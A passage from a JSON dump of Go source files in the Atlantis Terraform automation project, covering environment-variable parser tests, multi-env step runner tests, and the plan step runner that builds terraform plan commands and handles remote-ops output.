    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"errors\"\n\t\"testing\"\n)\n\nfunc TestMultiEnvStepRunner_Run_parser(t *testing.T) {\n\tt.Run(\"success\", func(t *testing.T) {\n\t\ttests := map[string][]string{\n\t\t\t\"\":                nil,\n\t\t\t\"KEY=value\":       {\"KEY\", \"value\"},\n\t\t\t`KEY=\"value\"`:     {\"KEY\", \"value\"},\n\t\t\t\"KEY==\":           {\"KEY\", \"=\"},\n\t\t\t`KEY=\"'\"`:         {\"KEY\", \"'\"},\n\t\t\t`KEY=\"\"`:          {\"KEY\", \"\"},\n\t\t\t`KEY=a\\\"b`:        {\"KEY\", `a\"b`},\n\t\t\t`KEY=\"va\\\"l\\\"ue\"`: {\"KEY\", `va\"l\"ue`},\n\n\t\t\t\"KEY='value'\":   {\"KEY\", \"value\"},\n\t\t\t`KEY='va\"l\"ue'`: {\"KEY\", `va\"l\"ue`},\n\t\t\t`KEY='\"'`:       {\"KEY\", `\"`},\n\t\t\t\"KEY=a'b\":       {\"KEY\", \"a'b\"},\n\t\t\t\"KEY=''\":        {\"KEY\", \"\"},\n\t\t\t\"KEY='a\\\\'b'\":   {\"KEY\", \"a\\\\'b\"},\n\n\t\t\t\"FOO=bar,QUUX=baz\":     {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\t\t\t\"FOO='bar',QUUX=baz\":   {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\t\t\t\"FOO=bar,QUUX='baz'\":   {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\t\t\t`FOO=\"bar\",QUUX=baz`:   {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\t\t\t`FOO=bar,QUUX=\"baz\"`:   {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\t\t\t`FOO=\"bar\",QUUX='baz'`: {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\t\t\t`FOO='bar',QUUX=\"baz\"`: {\"FOO\", \"bar\", \"QUUX\", \"baz\"},\n\n\t\t\t\"FOO=\\\"bar\\nbaz\\\"\": {\"FOO\", \"bar\\nbaz\"},\n\n\t\t\t`KEY=\"foo='bar',lorem=ipsum\"`: {\"KEY\", \"foo='bar',lorem=ipsum\"},\n\t\t\t`FOO=bar,QUUX=\"lorem ipsum\"`:  {\"FOO\", \"bar\", \"QUUX\", \"lorem ipsum\"},\n\n\t\t\t`JSON=\"{\\\"ID\\\":1,\\\"Name\\\":\\\"Reds\\\",\\\"Colors\\\":[\\\"Crimson\\\",\\\"Red\\\",\\\"Ruby\\\",\\\"Maroon\\\"]}\"`: {\"JSON\", `{\"ID\":1,\"Name\":\"Reds\",\"Colors\":[\"Crimson\",\"Red\",\"Ruby\",\"Maroon\"]}`},\n\n\t\t\t`JSON='{\"ID\":1,\"Name\":\"Reds\",\"Colors\":[\"Crimson\",\"Red\",\"Ruby\",\"Maroon\"]}'`: {\"JSON\", `{\"ID\":1,\"Name\":\"Reds\",\"Colors\":[\"Crimson\",\"Red\",\"Ruby\",\"Maroon\"]}`},\n\t\t}\n\n\t\tfor in, exp := range tests {\n\t\t\tt.Run(in, func(t *testing.T) {\n\t\t\t\tgot, err := parseMultienvLine(in)\n\t\t\t\tif err != nil {\n\t\t\t\t\tt.Fatalf(\"unexpected error: %v\", err)\n\t\t\t\t}\n\n\t\t\t\tt.Logf(\"\\n%q\\n%q\", exp, got)\n\n\t\t\t\tif e, g := len(exp), len(got); e != g {\n\t\t\t\t\tt.Fatalf(\"expecting %d elements, got %d\", e, g)\n\t\t\t\t}\n\n\t\t\t\tfor i, e := range exp {\n\t\t\t\t\tif g := got[i]; g != e {\n\t\t\t\t\t\tt.Errorf(\"expecting %q at index %d, got %q\", e, i, g)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"error\", func(t *testing.T) {\n\t\ttests := map[string]error{\n\t\t\t\"BAD KEY\":           errInvalidKeySyntax,\n\t\t\t\"KEY='missingquote\": errMisquoted,\n\t\t\t`KEY=\"missingquote`: errMisquoted,\n\t\t\t`KEY=\"missquoted'`:  errMisquoted,\n\t\t\t`KEY=a\"b`:           errMisquoted,\n\t\t\t`KEY=value,rem`:     errRemaining,\n\t\t}\n\n\t\tfor in, exp := range tests {\n\t\t\tt.Run(in, func(t *testing.T) {\n\t\t\t\tif _, err := parseMultienvLine(in); !errors.Is(err, exp) {\n\t\t\t\t\tt.Fatalf(\"expecting error %v, got %v\", exp, err)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n}\n"
  },
  {
    "path": "server/core/runtime/multienv_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"testing\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\tterraformmocks \"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestMultiEnvStepRunner_Run(t *testing.T) {\n\tcases := []struct {\n\t\tCommand     string\n\t\tProjectName string\n\t\tOutput      []valid.PostProcessRunOutputOption\n\t\tExpOut      string\n\t\tExpErr      string\n\t\tExpEnv      map[string]string\n\t}{\n\t\t{\n\t\t\tCommand: `echo 'TF_VAR_REPODEFINEDVARIABLE_ONE=value1'`,\n\t\t\tOutput:  []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow},\n\t\t\tExpOut:  \"Dynamic environment variables added:\\nTF_VAR_REPODEFINEDVARIABLE_ONE\\n\",\n\t\t\tExpEnv: map[string]string{\n\t\t\t\t\"TF_VAR_REPODEFINEDVARIABLE_ONE\": \"value1\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tCommand: `echo 'TF_VAR_REPODEFINEDVARIABLE_TWO=value=1='`,\n\t\t\tOutput:  []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow},\n\t\t\tExpOut:  \"Dynamic environment variables added:\\nTF_VAR_REPODEFINEDVARIABLE_TWO\\n\",\n\t\t\tExpEnv: map[string]string{\n\t\t\t\t\"TF_VAR_REPODEFINEDVARIABLE_TWO\": \"value=1=\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tCommand: `echo 'TF_VAR_REPODEFINEDVARIABLE_NO_VALUE'`,\n\t\t\tOutput:  []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow},\n\t\t\tExpErr:  \"invalid environment variable definition: TF_VAR_REPODEFINEDVARIABLE_NO_VALUE\\n\",\n\t\t\tExpEnv:  map[string]string{},\n\t\t},\n\t\t{\n\t\t\tCommand: `echo 'TF_VAR1_MULTILINE=\"foo\\\\nbar\",TF_VAR2_VALUEWITHCOMMA=\"one,two\",TF_VAR3_CONTROL=true'`,\n\t\t\tOutput:  []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputShow},\n\t\t\tExpOut:  \"Dynamic environment variables added:\\nTF_VAR1_MULTILINE\\nTF_VAR2_VALUEWITHCOMMA\\nTF_VAR3_CONTROL\\n\",\n\t\t\tExpEnv: map[string]string{\n\t\t\t\t\"TF_VAR1_MULTILINE\":      \"foo\\\\nbar\",\n\t\t\t\t\"TF_VAR2_VALUEWITHCOMMA\": \"one,two\",\n\t\t\t\t\"TF_VAR3_CONTROL\":        \"true\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tCommand: `echo 'TF_VAR_REPODEFINEDVARIABLE_HIDE=value1'`,\n\t\t\tOutput:  []valid.PostProcessRunOutputOption{valid.PostProcessRunOutputHide},\n\t\t\tExpOut:  \"\",\n\t\t\tExpEnv: map[string]string{\n\t\t\t\t\"TF_VAR_REPODEFINEDVARIABLE_HIDE\": \"value1\",\n\t\t\t},\n\t\t},\n\t}\n\tRegisterMockTestingT(t)\n\ttfClient := tfclientmocks.NewMockClient()\n\tmockDownloader := terraformmocks.NewMockDownloader()\n\ttfDistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, err := version.NewVersion(\"0.12.0\")\n\tOk(t, err)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\trunStepRunner := runtime.RunStepRunner{\n\t\tTerraformExecutor:       tfClient,\n\t\tDefaultTFDistribution:   tfDistribution,\n\t\tDefaultTFVersion:        tfVersion,\n\t\tProjectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tmultiEnvStepRunner := runtime.MultiEnvStepRunner{\n\t\tRunStepRunner: &runStepRunner,\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Command, func(t *testing.T) {\n\t\t\ttmpDir := t.TempDir()\n\t\t\tctx := command.ProjectContext{\n\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\tName:  \"basename\",\n\t\t\t\t\tOwner: \"baseowner\",\n\t\t\t\t},\n\t\t\t\tHeadRepo: models.Repo{\n\t\t\t\t\tName:  \"headname\",\n\t\t\t\t\tOwner: \"headowner\",\n\t\t\t\t},\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tNum:        2,\n\t\t\t\t\tHeadBranch: \"add-feat\",\n\t\t\t\t\tBaseBranch: \"main\",\n\t\t\t\t\tAuthor:     \"acme\",\n\t\t\t\t},\n\t\t\t\tUser: models.User{\n\t\t\t\t\tUsername: \"acme-user\",\n\t\t\t\t},\n\t\t\t\tLog:              logging.NewNoopLogger(t),\n\t\t\t\tWorkspace:        \"myworkspace\",\n\t\t\t\tRepoRelDir:       \"mydir\",\n\t\t\t\tTerraformVersion: tfVersion,\n\t\t\t\tProjectName:      c.ProjectName,\n\t\t\t}\n\t\t\tenvMap := make(map[string]string)\n\t\t\tvalue, err := multiEnvStepRunner.Run(ctx, nil, c.Command, tmpDir, envMap, c.Output)\n\t\t\tif c.ExpErr != \"\" {\n\t\t\t\tErrContains(t, c.ExpErr, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.ExpOut, value)\n\t\t\tEquals(t, c.ExpEnv, envMap)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/core/runtime/plan_step_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\nconst (\n\tdefaultWorkspace = \"default\"\n\trefreshKeyword   = \"Refreshing state...\"\n\trefreshSeparator = \"------------------------------------------------------------------------\\n\"\n)\n\nvar (\n\tplusDiffRegex  = regexp.MustCompile(`(?m)^ {2}\\+`)\n\ttildeDiffRegex = regexp.MustCompile(`(?m)^ {2}~`)\n\tminusDiffRegex = regexp.MustCompile(`(?m)^ {2}-`)\n)\n\ntype planStepRunner struct {\n\tTerraformExecutor     TerraformExec\n\tDefaultTFDistribution terraform.Distribution\n\tDefaultTFVersion      *version.Version\n\tCommitStatusUpdater   StatusUpdater\n\tAsyncTFExec           AsyncTFExec\n}\n\nfunc NewPlanStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, commitStatusUpdater StatusUpdater, asyncTFExec AsyncTFExec) Runner {\n\trunner := &planStepRunner{\n\t\tTerraformExecutor:     terraformExecutor,\n\t\tDefaultTFDistribution: defaultTfDistribution,\n\t\tDefaultTFVersion:      defaultTfVersion,\n\t\tCommitStatusUpdater:   commitStatusUpdater,\n\t\tAsyncTFExec:           asyncTFExec,\n\t}\n\treturn NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner)\n}\n\nfunc (p *planStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\ttfDistribution := p.DefaultTFDistribution\n\ttfVersion := p.DefaultTFVersion\n\tif ctx.TerraformDistribution != nil {\n\t\ttfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution)\n\t}\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\tplanFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName))\n\tplanCmd := p.buildPlanCmd(ctx, extraArgs, path, tfVersion, planFile)\n\toutput, err := p.TerraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), planCmd, envs, tfDistribution, tfVersion, ctx.Workspace)\n\tif p.isRemoteOpsErr(output, err) {\n\t\tctx.Log.Debug(\"detected that this project is using TFE remote ops\")\n\t\treturn p.remotePlan(ctx, extraArgs, path, tfDistribution, tfVersion, planFile, envs)\n\t}\n\tif err != nil {\n\t\treturn output, err\n\t}\n\treturn p.fmtPlanOutput(output, tfVersion), nil\n}\n\n// isRemoteOpsErr returns true if there was an error caused due to this\n// project using TFE remote operations.\nfunc (p *planStepRunner) isRemoteOpsErr(output string, err error) bool {\n\tif err == nil {\n\t\treturn false\n\t}\n\treturn strings.Contains(output, remoteOpsErr110) || strings.Contains(output, remoteOpsErr01114) || strings.Contains(output, remoteOpsErr012) || strings.Contains(output, remoteOpsErr100)\n}\n\n// remotePlan runs a terraform plan command compatible with TFE remote\n// operations.\nfunc (p *planStepRunner) remotePlan(ctx command.ProjectContext, extraArgs []string, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, planFile string, envs map[string]string) (string, error) {\n\targList := [][]string{\n\t\t{\"plan\", \"-input=false\", \"-refresh\", \"-no-color\"},\n\t\textraArgs,\n\t\tctx.EscapedCommentArgs,\n\t}\n\targs := p.flatten(argList)\n\toutput, err := p.runRemotePlan(ctx, args, path, tfDistribution, tfVersion, envs)\n\tif err != nil {\n\t\treturn output, err\n\t}\n\n\t// If using remote ops, we create our own \"fake\" planfile with the\n\t// text output of the plan. We do this for two reasons:\n\t// 1) Atlantis relies on there being a planfile on disk to detect which\n\t// projects have outstanding plans.\n\t// 2) Remote ops don't support the -out parameter so we can't save the\n\t// plan. To ensure that what gets applied is the plan we printed to the PR,\n\t// during the apply phase, we diff the output we stored in the fake\n\t// planfile with the pending apply output.\n\tplanOutput := StripRefreshingFromPlanOutput(output, tfVersion)\n\n\t// We also prepend our own remote ops header to the file so during apply we\n\t// know this is a remote apply.\n\terr = os.WriteFile(planFile, []byte(remoteOpsHeader+planOutput), 0600)\n\tif err != nil {\n\t\treturn output, fmt.Errorf(\"unable to create planfile for remote ops: %w\", err)\n\t}\n\n\treturn p.fmtPlanOutput(output, tfVersion), nil\n}\n\nfunc (p *planStepRunner) buildPlanCmd(ctx command.ProjectContext, extraArgs []string, path string, tfVersion *version.Version, planFile string) []string {\n\ttfVars := p.tfVars(ctx, tfVersion)\n\n\t// Check if env/{workspace}.tfvars exist and include it. This is a use-case\n\t// from Hootsuite where Atlantis was first created so we're keeping this as\n\t// an homage and a favor so they don't need to refactor all their repos.\n\t// It's also a nice way to structure your repos to reduce duplication.\n\tvar envFileArgs []string\n\tenvFile := filepath.Join(path, \"env\", ctx.Workspace+\".tfvars\")\n\tif _, err := os.Stat(envFile); err == nil {\n\t\tenvFileArgs = []string{\"-var-file\", envFile}\n\t}\n\n\targList := [][]string{\n\t\t// NOTE: we need to quote the plan filename because Bitbucket Server can\n\t\t// have spaces in its repo owner names.\n\t\t{\"plan\", \"-input=false\", \"-refresh\", \"-out\", fmt.Sprintf(\"%q\", planFile)},\n\t\ttfVars,\n\t\textraArgs,\n\t\tctx.EscapedCommentArgs,\n\t\tenvFileArgs,\n\t}\n\n\treturn p.flatten(argList)\n}\n\n// tfVars returns a list of \"-var\", \"key=value\" pairs that identify who and which\n// repo this command is running for. This can be used for naming the\n// session name in AWS which will identify in CloudTrail the source of\n// Atlantis API calls.\n// If using Terraform >= 0.12 we don't set any of these variables because\n// those versions don't allow setting -var flags for any variables that aren't\n// actually used in the configuration. Since there's no way for us to detect\n// if the configuration is using those variables, we don't set them.\nfunc (p *planStepRunner) tfVars(ctx command.ProjectContext, tfVersion *version.Version) []string {\n\tif tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion(\"0.12.0\"))) {\n\t\treturn nil\n\t}\n\n\t// NOTE: not using maps and looping here because we need to keep the\n\t// ordering for testing purposes.\n\t// NOTE: quoting the values because in Bitbucket the owner can have\n\t// spaces, ex -var atlantis_repo_owner=\"bitbucket owner\".\n\treturn []string{\n\t\t\"-var\",\n\t\tfmt.Sprintf(\"%s=%q\", \"atlantis_user\", ctx.User.Username),\n\t\t\"-var\",\n\t\tfmt.Sprintf(\"%s=%q\", \"atlantis_repo\", ctx.BaseRepo.FullName),\n\t\t\"-var\",\n\t\tfmt.Sprintf(\"%s=%q\", \"atlantis_repo_name\", ctx.BaseRepo.Name),\n\t\t\"-var\",\n\t\tfmt.Sprintf(\"%s=%q\", \"atlantis_repo_owner\", ctx.BaseRepo.Owner),\n\t\t\"-var\",\n\t\tfmt.Sprintf(\"%s=%d\", \"atlantis_pull_num\", ctx.Pull.Num),\n\t}\n}\n\nfunc (p *planStepRunner) flatten(slices [][]string) []string {\n\tvar flattened []string\n\tfor _, v := range slices {\n\t\tflattened = append(flattened, v...)\n\t}\n\treturn flattened\n}\n\n// fmtPlanOutput uses regex's to remove any leading whitespace in front of the\n// terraform output so that the diff syntax highlighting works. Example:\n// \"  - aws_security_group_rule.allow_all\" =>\n// \"- aws_security_group_rule.allow_all\"\n// We do it for +, ~ and -.\n// It also removes the \"Refreshing...\" preamble.\nfunc (p *planStepRunner) fmtPlanOutput(output string, tfVersion *version.Version) string {\n\toutput = StripRefreshingFromPlanOutput(output, tfVersion)\n\toutput = plusDiffRegex.ReplaceAllString(output, \"+\")\n\toutput = tildeDiffRegex.ReplaceAllString(output, \"~\")\n\treturn minusDiffRegex.ReplaceAllString(output, \"-\")\n}\n\n// runRemotePlan runs a terraform command that utilizes the remote operations\n// backend. It watches the command output for the run url to be printed, and\n// then updates the commit status with a link to the run url.\n// The run url is a link to the Terraform Enterprise UI where the output\n// from the in-progress command can be viewed.\n// cmdArgs is the args to terraform to execute.\n// path is the path to where we need to execute.\nfunc (p *planStepRunner) runRemotePlan(\n\tctx command.ProjectContext,\n\tcmdArgs []string,\n\tpath string,\n\ttfDistribution terraform.Distribution,\n\ttfVersion *version.Version,\n\tenvs map[string]string) (string, error) {\n\n\t// updateStatusF will update the commit status and log any error.\n\tupdateStatusF := func(status models.CommitStatus, url string) {\n\t\tif err := p.CommitStatusUpdater.UpdateProject(ctx, command.Plan, status, url, nil); err != nil {\n\t\t\tctx.Log.Err(\"unable to update status: %s\", err)\n\t\t}\n\t}\n\n\t// Start the async command execution.\n\tctx.Log.Debug(\"starting async tf remote operation\")\n\t_, outCh := p.AsyncTFExec.RunCommandAsync(ctx, filepath.Clean(path), cmdArgs, envs, tfDistribution, tfVersion, ctx.Workspace)\n\tvar lines []string\n\tnextLineIsRunURL := false\n\tvar runURL string\n\tvar err error\n\n\tfor line := range outCh {\n\t\tif line.Err != nil {\n\t\t\terr = line.Err\n\t\t\tbreak\n\t\t}\n\t\tlines = append(lines, line.Line)\n\n\t\t// Here we're checking for the run url and updating the status\n\t\t// if found.\n\t\tif line.Line == lineBeforeRunURL {\n\t\t\tnextLineIsRunURL = true\n\t\t} else if nextLineIsRunURL {\n\t\t\trunURL = strings.TrimSpace(line.Line)\n\t\t\tctx.Log.Debug(\"remote run url found, updating commit status\")\n\t\t\tupdateStatusF(models.PendingCommitStatus, runURL)\n\t\t\tnextLineIsRunURL = false\n\t\t}\n\t}\n\n\tctx.Log.Debug(\"async tf remote operation complete\")\n\toutput := strings.Join(lines, \"\\n\")\n\tif err != nil {\n\t\tupdateStatusF(models.FailedCommitStatus, runURL)\n\t} else {\n\t\tupdateStatusF(models.SuccessCommitStatus, runURL)\n\t}\n\treturn output, err\n}\n\nfunc StripRefreshingFromPlanOutput(output string, tfVersion *version.Version) string {\n\tif tfVersion.GreaterThanOrEqual(version.Must(version.NewVersion(\"0.14.0\"))) {\n\t\t// Plan output contains a lot of \"Refreshing...\" lines, remove it\n\t\tlines := strings.Split(output, \"\\n\")\n\t\tfinalIndex := 0\n\t\tfor i, line := range lines {\n\t\t\tif strings.Contains(line, refreshKeyword) {\n\t\t\t\tfinalIndex = i\n\t\t\t}\n\t\t}\n\n\t\tif finalIndex != 0 {\n\t\t\toutput = strings.Join(lines[finalIndex+1:], \"\\n\")\n\t\t}\n\t} else {\n\t\t// Plan output contains a lot of \"Refreshing...\" lines followed by a\n\t\t// separator. We want to remove everything before that separator.\n\t\tsepIdx := strings.Index(output, refreshSeparator)\n\t\tif sepIdx > -1 {\n\t\t\toutput = output[sepIdx+len(refreshSeparator):]\n\t\t}\n\t}\n\treturn output\n}\n\nfunc FilterRegexFromPlanOutput(output string, filterRegex *regexp.Regexp) string {\n\tif filterRegex == nil {\n\t\treturn output\n\t}\n\n\treturn filterRegex.ReplaceAllString(output, \"${1}<redacted>$2\")\n}\n\n// remoteOpsErr01114 is the error terraform plan will return if this project is\n// using TFE remote operations in TF 0.11.15.\nvar remoteOpsErr01114 = `Error: Saving a generated plan is currently not supported!\n\nThe \"remote\" backend does not support saving the generated execution\nplan locally at this time.\n\n`\n\n// remoteOpsErr012 is the error terraform plan will return if this project is\n// using TFE remote operations in TF 0.12.{0-4}. Later versions haven't been\n// released yet at this time.\nvar remoteOpsErr012 = `Error: Saving a generated plan is currently not supported\n\nThe \"remote\" backend does not support saving the generated execution plan\nlocally at this time.\n\n`\n\n// remoteOpsErr100 is the error terraform plan will return if this project is\n// using TFE remote operations in TF 1.0.{0,1}.\nvar remoteOpsErr100 = `Error: Saving a generated plan is currently not supported\n\nThe \"remote\" backend does not support saving the generated execution plan\nlocally at this time.\n`\n\n// remoteOpsErr110 is the error terraform plan will return if this project is\n// using Terraform Cloud remote operations in TF 1.1.0 and above\n// note: the trailing whitespace is intentional\nvar remoteOpsErr110 = `╷\n│ Error: Saving a generated plan is currently not supported\n│ \n│ Terraform Cloud does not support saving the generated execution plan\n│ locally at this time.\n╵\n`\n\n// remoteOpsHeader is the header we add to the planfile if this plan was\n// generated using TFE remote operations.\nvar remoteOpsHeader = \"Atlantis: this plan was created by remote ops\\n\"\n"
  },
  {
    "path": "server/core/runtime/plan_step_runner_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime_test\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\truntimemocks \"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\truntimemodels \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\ttf \"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\ttfclientmocks \"github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRun_AddsEnvVarFile(t *testing.T) {\n\t// Test that if env/workspace.tfvars file exists we use -var-file option.\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\n\t// Create the env/workspace.tfvars file.\n\ttmpDir := t.TempDir()\n\terr := os.MkdirAll(filepath.Join(tmpDir, \"env\"), 0700)\n\tOk(t, err)\n\tenvVarsFile := filepath.Join(tmpDir, \"env/workspace.tfvars\")\n\terr = os.WriteFile(envVarsFile, nil, 0600)\n\tOk(t, err)\n\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\t// Using version >= 0.10 here so we don't expect any env commands.\n\ttfVersion, _ := version.NewVersion(\"0.10.0\")\n\tlogger := logging.NewNoopLogger(t)\n\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec)\n\n\texpPlanArgs := []string{\"plan\",\n\t\t\"-input=false\",\n\t\t\"-refresh\",\n\t\t\"-out\",\n\t\tfmt.Sprintf(\"%q\", filepath.Join(tmpDir, \"workspace.tfplan\")),\n\t\t\"-var\",\n\t\t\"atlantis_user=\\\"username\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_repo=\\\"owner/repo\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_repo_name=\\\"repo\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_repo_owner=\\\"owner\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_pull_num=2\",\n\t\t\"extra\",\n\t\t\"args\",\n\t\t\"comment\",\n\t\t\"args\",\n\t\t\"-var-file\",\n\t\tenvVarsFile,\n\t}\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"workspace\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tWhen(terraform.RunCommandWithVersion(ctx, tmpDir, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")).ThenReturn(\"output\", nil)\n\n\toutput, err := s.Run(ctx, []string{\"extra\", \"args\"}, tmpDir, map[string]string(nil))\n\tOk(t, err)\n\n\t// Verify that env select was never called since we're in version >= 0.10\n\tterraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, tmpDir, []string{\"env\", \"select\", \"workspace\"}, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n\tEquals(t, \"output\", output)\n}\n\nfunc TestRun_UsesDiffPathForProject(t *testing.T) {\n\t// Test that if running for a project, uses a different path for the plan\n\t// file.\n\tRegisterMockTestingT(t)\n\tterraform := tfclientmocks.NewMockClient()\n\tcommitStatusUpdater := runtimemocks.NewMockStatusUpdater()\n\tasyncTfExec := runtimemocks.NewMockAsyncTFExec()\n\tmockDownloader := mocks.NewMockDownloader()\n\ttfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader)\n\ttfVersion, _ := version.NewVersion(\"0.10.0\")\n\tlogger := logging.NewNoopLogger(t)\n\ts := runtime.NewPlanStepRunner(terraform, tfDistribution, tfVersion, commitStatusUpdater, asyncTfExec)\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tWhen(terraform.RunCommandWithVersion(ctx, \"/path\", []string{\"workspace\", \"show\"}, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")).ThenReturn(\"workspace\\n\", nil)\n\n\texpPlanArgs := []string{\"plan\",\n\t\t\"-input=false\",\n\t\t\"-refresh\",\n\t\t\"-out\",\n\t\t\"\\\"/path/projectname-default.tfplan\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_user=\\\"username\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_repo=\\\"owner/repo\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_repo_name=\\\"repo\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_repo_owner=\\\"owner\\\"\",\n\t\t\"-var\",\n\t\t\"atlantis_pull_num=2\",\n\t\t\"extra\",\n\t\t\"args\",\n\t\t\"comment\",\n\t\t\"args\",\n\t}\n\tWhen(terraform.RunCommandWithVersion(ctx, \"/path\", expPlanArgs, map[string]string(nil), tfDistribution, tfVersion, \"default\")).ThenReturn(\"output\", nil)\n\n\toutput, err := s.Run(ctx, []string{\"extra\", \"args\"}, \"/path\", map[string]string(nil))\n\tOk(t, err)\n\tEquals(t, \"output\", output)\n}\n\n// Test that we format the plan output for better rendering.\nfunc TestRun_PlanFmt(t *testing.T) {\n\trawOutput := `Refreshing Terraform state in-memory prior to plan...\nThe refreshed state will be used to calculate this plan, but will not be\npersisted to local or remote state 